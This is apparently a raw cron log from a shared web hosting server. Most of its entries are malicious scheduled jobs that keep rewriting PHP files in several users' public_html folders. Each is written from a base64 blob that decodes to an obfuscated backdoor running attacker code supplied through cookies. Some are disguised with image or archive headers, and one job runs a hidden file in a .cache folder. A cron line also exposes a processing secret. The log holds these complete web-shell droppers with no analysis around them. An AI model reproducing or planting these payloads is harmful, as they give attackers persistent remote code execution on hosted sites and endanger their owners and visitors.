Apr 19 09:06:02 medusa CROND[6746]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:06:02 medusa CROND[6755]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:06:02 medusa CROND[6756]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:06:02 medusa CROND[6757]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:06:02 medusa CROND[6760]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:07:01 medusa CROND[30205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:07:01 medusa CROND[30276]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:07:01 medusa CROND[30339]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:07:01 medusa CROND[30340]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:07:01 medusa CROND[30343]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:07:01 medusa CROND[30344]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:07:01 medusa CROND[30346]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:07:01 medusa CROND[30349]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:07:01 medusa CROND[30350]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:07:01 medusa CROND[30348]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 09:07:01 medusa CROND[30356]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:07:01 medusa CROND[30354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:08:01 medusa CROND[21848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:08:01 medusa CROND[21849]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:08:01 medusa CROND[21850]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:08:01 medusa CROND[21851]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:08:01 medusa CROND[21855]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 09:08:01 medusa CROND[21856]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:08:01 medusa CROND[21857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:08:01 medusa CROND[21858]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:08:01 medusa CROND[21859]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
